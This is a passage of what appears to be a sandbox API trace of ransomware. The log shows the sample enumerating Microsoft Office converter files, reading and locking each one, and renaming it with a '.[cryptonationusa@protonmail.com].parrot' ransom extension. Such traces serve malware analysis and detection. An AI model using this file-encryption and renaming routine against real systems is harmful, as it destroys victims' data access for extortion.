[0183.383] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0183.385] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0183.385] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.386] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0183.386] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0183.386] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3R.SAM", cAlternateFileName="")) returned 1 [0183.386] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x34a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.386] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.386] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0183.388] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.388] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3388, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3388, lpOverlapped=0x0) returned 1 [0183.392] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.393] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x34a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.393] CloseHandle (hObject=0x284) returned 1 [0183.393] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.398] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x28b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.398] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.398] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0183.399] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.399] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27a0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x27a0, lpOverlapped=0x0) returned 1 [0183.400] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.400] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x28b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.400] CloseHandle (hObject=0x284) returned 1 [0183.401] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.406] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ea8, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.406] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.406] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0183.407] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.407] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d90, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2d90, lpOverlapped=0x0) returned 1 [0183.408] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.409] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ea8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.409] CloseHandle (hObject=0x284) returned 1 [0183.409] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.413] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x36c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.413] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.413] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0183.414] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.414] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35b0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x35b0, lpOverlapped=0x0) returned 1 [0183.415] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.416] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x36c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.416] CloseHandle (hObject=0x284) returned 1 [0183.416] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLADDR.FAE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oladdr.fae.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.419] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.419] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.420] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0183.421] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.421] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2db8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2db8, lpOverlapped=0x0) returned 1 [0183.422] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.423] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ed0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.423] CloseHandle (hObject=0x284) returned 1 [0183.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLAPPTR.FAE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olapptr.fae.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.426] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x28c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.426] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.426] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0183.428] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.428] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27b0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x27b0, lpOverlapped=0x0) returned 1 [0183.429] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.429] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x28c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.429] CloseHandle (hObject=0x284) returned 1 [0183.429] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.433] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x28c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.433] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.433] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0183.434] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.434] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x27b0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x27b0, lpOverlapped=0x0) returned 1 [0183.467] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.467] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x28c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.467] CloseHandle (hObject=0x284) returned 1 [0183.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.472] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x26c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.472] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.472] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0183.473] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.473] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25b0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x25b0, lpOverlapped=0x0) returned 1 [0183.474] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.475] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x26c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.475] CloseHandle (hObject=0x284) returned 1 [0183.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.478] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ea8, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.479] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.479] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0183.480] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.480] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d90, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3d90, lpOverlapped=0x0) returned 1 [0183.481] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.481] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ea8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.481] CloseHandle (hObject=0x284) returned 1 [0183.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLR.SAM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olr.sam.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.485] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ac8, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.486] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.486] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0183.487] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.487] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x29b0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x29b0, lpOverlapped=0x0) returned 1 [0183.488] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.488] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ac8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.488] CloseHandle (hObject=0x284) returned 1 [0183.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLTASKR.FAE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oltaskr.fae.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.493] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x32b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.493] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.493] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0183.494] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.495] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31a0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x31a0, lpOverlapped=0x0) returned 1 [0183.496] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.496] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x32b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.496] CloseHandle (hObject=0x284) returned 1 [0183.496] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ORG97R.SAM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\org97r.sam.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.500] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ca0, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.500] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.500] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0183.502] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.502] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b88, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2b88, lpOverlapped=0x0) returned 1 [0183.503] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.503] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ca0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.503] CloseHandle (hObject=0x284) returned 1 [0183.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\PABR.SAM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\pabr.sam.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.507] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0183.507] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf967e2c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf967e2c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.507] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9573920, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x34a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3R.SAM.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACT3RS~1.PAR")) returned 1 [0183.521] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16290, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.521] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.521] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.526] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.526] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16178, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16178, lpOverlapped=0x0) returned 1 [0183.528] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, 